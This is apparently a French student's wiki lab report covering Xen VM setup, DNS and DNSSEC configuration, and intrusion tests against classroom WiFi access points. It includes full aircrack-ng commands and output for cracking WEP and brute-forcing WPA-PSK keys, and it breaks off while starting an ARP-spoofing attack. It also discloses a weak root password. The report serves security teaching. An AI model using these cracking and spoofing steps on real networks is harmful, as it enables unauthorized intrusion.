&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54473</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54473"/>
				<updated>2020-12-14T12:24:56Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Partie commune */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
L'objectif est la redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
   www     IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
